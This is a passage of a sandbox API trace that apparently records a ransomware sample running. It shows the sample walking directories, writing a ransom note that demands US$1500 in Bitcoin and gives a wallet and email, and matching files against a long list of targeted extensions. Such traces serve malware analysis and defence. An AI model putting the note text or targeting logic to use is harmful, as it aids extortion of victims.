lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd380767, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd380767, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd380767, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.862] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.862] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.862] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd380767, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd380767, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd380767, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d95f343677c556b67e99818cc02f4214", cAlternateFileName="D95F34~1")) returned 1 [0111.863] lstrcmpA (lpString1=".", lpString2="d95f343677c556b67e99818cc02f4214") returned -1 [0111.863] lstrcmpA (lpString1="..", lpString2="d95f343677c556b67e99818cc02f4214") returned -1 [0111.863] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\*.*") returned="*.*" [0111.863] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\", lpString2="d95f343677c556b67e99818cc02f4214" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214" [0111.863] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214") returned 88 [0111.863] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd380767, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd380767, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd380767, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.863] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.863] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd380767, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd380767, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd380767, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.863] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.863] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.863] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd3344a6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdd3344a6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdd3344a6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napcrypt.ni.dll", cAlternateFileName="NAPCRY~1.DLL")) returned 1 [0111.863] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.864] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="napcrypt.ni.dll") returned -1 [0111.864] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="napcrypt.ni.dll") returned -1 [0111.864] lstrcmpiA (lpString1="", lpString2="napcrypt.ni.dll") returned -1 [0111.864] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\*.*") returned="*.*" [0111.864] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\" [0111.864] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\") returned="" [0111.864] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\HOW TO DECRYPT FILES.txt" [0111.864] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\how to decrypt files.txt")) returned 0xffffffff [0111.864] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.866] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.866] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.868] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.868] CloseHandle (hObject=0x90) returned 1 [0111.868] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\", lpString2="napcrypt.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll" [0111.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.ems") returned 0 [0111.868] lstrlenA (lpString="*.ems") returned 5 [0111.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.db") returned 0 [0111.868] lstrlenA (lpString="*.db") returned 4 [0111.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.dbf") returned 0 [0111.868] lstrlenA (lpString="*.dbf") returned 5 [0111.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.myox") returned 0 [0111.869] lstrlenA (lpString="*.myox") returned 6 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.myo") returned 0 [0111.869] lstrlenA (lpString="*.myo") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.qbw") returned 0 [0111.869] lstrlenA (lpString="*.qbw") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.qbb") returned 0 [0111.869] lstrlenA (lpString="*.qbb") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.qbm") returned 0 [0111.869] lstrlenA (lpString="*.qbm") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.qbo") returned 0 [0111.869] lstrlenA (lpString="*.qbo") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.qbx") returned 0 [0111.869] lstrlenA (lpString="*.qbx") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.qba") returned 0 [0111.869] lstrlenA (lpString="*.qba") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.qby") returned 0 [0111.869] lstrlenA (lpString="*.qby") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.qbj") returned 0 [0111.869] lstrlenA (lpString="*.qbj") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.ofx") returned 0 [0111.869] lstrlenA (lpString="*.ofx") returned 5 [0111.869] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.qif") returned 0 [0111.869] lstrlenA (lpString="*.qif") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.mye") returned 0 [0111.870] lstrlenA (lpString="*.mye") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.mbox") returned 0 [0111.870] lstrlenA (lpString="*.mbox") returned 6 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.eml") returned 0 [0111.870] lstrlenA (lpString="*.eml") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.pst") returned 0 [0111.870] lstrlenA (lpString="*.pst") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.ost") returned 0 [0111.870] lstrlenA (lpString="*.ost") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.idx") returned 0 [0111.870] lstrlenA (lpString="*.idx") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.dbx") returned 0 [0111.870] lstrlenA (lpString="*.dbx") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.sql") returned 0 [0111.870] lstrlenA (lpString="*.sql") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.mdb") returned 0 [0111.870] lstrlenA (lpString="*.mdb") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.fdb") returned 0 [0111.870] lstrlenA (lpString="*.fdb") returned 5 [0111.870] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.wab") returned 0 [0111.871] lstrlenA (lpString="*.wab") returned 5 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.dat") returned 0 [0111.871] lstrlenA (lpString="*.dat") returned 5 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.txt") returned 0 [0111.871] lstrlenA (lpString="*.txt") returned 5 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.jpeg") returned 0 [0111.871] lstrlenA (lpString="*.jpeg") returned 6 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.jpg") returned 0 [0111.871] lstrlenA (lpString="*.jpg") returned 5 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.png") returned 0 [0111.871] lstrlenA (lpString="*.png") returned 5 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.php") returned 0 [0111.871] lstrlenA (lpString="*.php") returned 5 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.cs") returned 0 [0111.871] lstrlenA (lpString="*.cs") returned 4 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.cpp") returned 0 [0111.871] lstrlenA (lpString="*.cpp") returned 5 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.rar") returned 0 [0111.871] lstrlenA (lpString="*.rar") returned 5 [0111.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.zip") returned 0 [0111.871] lstrlenA (lpString="*.zip") returned 5 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.html") returned 0 [0111.872] lstrlenA (lpString="*.html") returned 6 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.htm") returned 0 [0111.872] lstrlenA (lpString="*.htm") returned 5 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.xlsx") returned 0 [0111.872] lstrlenA (lpString="*.xlsx") returned 6 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.xls") returned 0 [0111.872] lstrlenA (lpString="*.xls") returned 5 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.mp4") returned 0 [0111.872] lstrlenA (lpString="*.mp4") returned 5 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.ppt") returned 0 [0111.872] lstrlenA (lpString="*.ppt") returned 5 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.pptx") returned 0 [0111.872] lstrlenA (lpString="*.pptx") returned 6 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.doc") returned 0 [0111.872] lstrlenA (lpString="*.doc") returned 5 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.dot") returned 0 [0111.872] lstrlenA (lpString="*.dot") returned 5 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.docx") returned 0 [0111.872] lstrlenA (lpString="*.docx") returned 6 [0111.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.7z") returned 0 [0111.873] lstrlenA (lpString="*.7z") returned 4 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.tar") returned 0 [0111.873] lstrlenA (lpString="*.tar") returned 5 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.bz2") returned 0 [0111.873] lstrlenA (lpString="*.bz2") returned 5 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.gz") returned 0 [0111.873] lstrlenA (lpString="*.gz") returned 4 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.mkv") returned 0 [0111.873] lstrlenA (lpString="*.mkv") returned 5 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.eml") returned 0 [0111.873] lstrlenA (lpString="*.eml") returned 5 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.msg") returned 0 [0111.873] lstrlenA (lpString="*.msg") returned 5 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.edb") returned 0 [0111.873] lstrlenA (lpString="*.edb") returned 5 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.accdb") returned 0 [0111.873] lstrlenA (lpString="*.accdb") returned 7 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.odb") returned 0 [0111.873] lstrlenA (lpString="*.odb") returned 5 [0111.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.java") returned 0 [0111.873] lstrlenA (lpString="*.java") returned 6 [0111.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.asm") returned 0 [0111.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.pfx") returned 0 [0111.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.pem") returned 0 [0111.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.p12") returned 0 [0111.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.gpg") returned 0 [0111.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.vsd") returned 0 [0111.874] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.odg") returned 0 [0111.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.raw") returned 0 [0111.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.nef") returned 0 [0111.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.svg") returned 0 [0111.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.psd") returned 0 [0111.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.vmx") returned 0 [0111.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.vmdk") returned 0 [0111.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.vdi") returned 0 [0111.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.lay6") returned 0 [0111.875] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.mpeg") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.djvu") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.tiff") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.backup") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.pdf") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.cert") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.docm") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.xlsm") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.dwg") returned 0 [0111.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\napcrypt\\d95f343677c556b67e99818cc02f4214\\napcrypt.ni.dll", pszSpec="*.nd") returned 0 [0111.876] PathMatchSpecA 